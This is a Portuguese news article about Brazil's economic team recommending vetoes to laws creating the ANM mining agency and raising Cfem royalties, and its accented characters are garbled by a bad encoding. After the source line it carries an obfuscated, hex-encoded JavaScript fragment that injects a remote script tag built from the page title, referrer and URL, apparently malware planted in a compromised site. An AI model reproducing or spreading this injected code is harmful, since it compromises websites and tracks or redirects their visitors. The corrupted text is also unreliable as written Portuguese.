Setor de MineraAi??A?o
A equipe econA?mica enviarA? ao presidente Michel Temer na prA?xima semana uma sAi??rie de vetos aos projetos que criaram a ANM (AgA?ncia Nacional de MineraAi??A?o) e mudaram as taxas cobradas das mineradoras.Ai??Para os tAi??cnicos, da forma como foram aprovadas pelo Congresso, as medidas trarA?o alta de despesas e levarA?o Ai?? perda de arrecadaAi??A?o, algo inaceitA?vel em um momento de restriAi??A?o orAi??amentA?ria.
Em julho, quando anunciou o programa de revitalizaAi??A?o do setor de mineraAi??A?o, Temer enviou ao Congresso trA?s medidas provisA?rias. Juntas, elas reformariam o setor para destravar investimentos e aumentar a arrecadaAi??A?o com uma nova forma de cobranAi??a de taxas sobre as atividades de mineraAi??A?o.Ai??Com as novas regras, produtores de ferro e ouro passarA?o a ter suas alAi??quotas dobradas, embora elas variem de acordo com a cotaAi??A?o internacional do minAi??rio.
A transformaAi??A?o do atual DNPM (Departamento Nacional de ProduAi??A?o Mineral) em agA?ncia reguladora darA? maior autonomia ao A?rgA?o. Hoje, quando uma empresa pede autorizaAi??A?o para fazer estudos de viabilidade econA?mica de uma mina, pode ficar mais de dois anos analisando.
Sentar na mina
Esse processo, ainda segundo os tAi??cnicos, Ai?? manual e, na maior parte das vezes, os grupos econA?micos ai???sentam na minaai???, criando uma espAi??cie de ai???reserva de mercadoai???, porque os processos no DNPM sA?o lentos e burocrA?ticos.Ai??A medida provisA?ria tornaria eletrA?nico o procedimento, permitindo a entrada de outros interessados se os prazos nA?o se cumprirem. Ao fazer a fila andar, investimentos serA?o gerados.Ai??No entanto, isso nA?o prosperou. A medida provisA?ria que trazia novo marco regulatA?rio para a mineraAi??A?o perdeu a validade, e Temer terA? de enviar outra sobre o assunto ao Congresso no prA?ximo ano se quiser destravar investimentos no setor.
Em outubro, o Congresso sA? aprovou a criaAi??A?o da ANM e o aumento das alAi??quotas cobradas sobre exploraAi??A?o de substA?ncias minerais, conhecida como Cfem (CompensaAi??A?o Financeira pela ExploraAi??A?o de Recursos Minerais).Ai??Para os tAi??cnicos da A?rea econA?mica, existem problemas nas duas medidas que, pelo acordo entre o Congresso e o governo, trariam aumento de gastos e perda de arrecadaAi??A?o.Ai??No caso da Cfem, os recursos serA?o divididos entre UniA?o, Estados e municAi??pios. A UniA?o ficaria com 12%. Da forma como foi aprovada, ficarA? com 10%. A diferenAi??a (2%) reforAi??arA? o cofre de municAi??pios mais afetados pela mineraAi??A?o. Essa Ai?? uma das correAi??Ai??es que o nA?cleo econA?mico enviarA? a Temer.
Ainda segundo os tAi??cnicos, a criaAi??A?o da ANM desrespeitou dois pontos do acordo, o que tambAi??m deve ser vetado, segundo os tAi??cnicos. Ao igualar os servidores do DNPM com o das agA?ncias reguladoras, haverA? aumento salarial, o que nA?o estava previsto.
Fonte:Ai??O SulAi?? \x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
